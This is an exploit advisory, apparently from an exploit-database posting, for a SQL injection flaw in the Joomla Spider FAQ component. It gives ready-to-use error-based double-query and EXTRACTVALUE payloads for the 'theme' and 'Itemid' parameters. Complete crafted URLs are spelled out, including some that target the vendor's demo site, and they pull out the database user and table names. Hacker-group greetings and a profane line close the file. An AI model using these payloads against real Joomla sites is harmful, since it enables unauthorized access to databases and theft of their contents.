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################################################################################################## #Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability #Author : Manish Kishan Tanwar AKA error1046 #Vendor Link : http://demo.web-dorado.com/spider-faq.html #Date : 21/03/2015 #Discovered at : IndiShell Lab #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi #Discovered At : Indishell Lab ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component Spider FAQ is not filtering data in theme and Itemid parameters and hence affected from SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to theme and Itemid parameter //////////////// /// POC //// /////////////// POC image=http://oi57.tinypic.com/2rh1zk7.jpg SQL Injection in theme parameter ================================= Use error based double query injection with theme parameter Like error based double query injection for exploiting username ---> and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - Injected Link---> http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection User extraction payload ------------------------ ' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - crafted URL---> http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - Table extraction ----------------- ' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - Crafted URL----> http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3 Source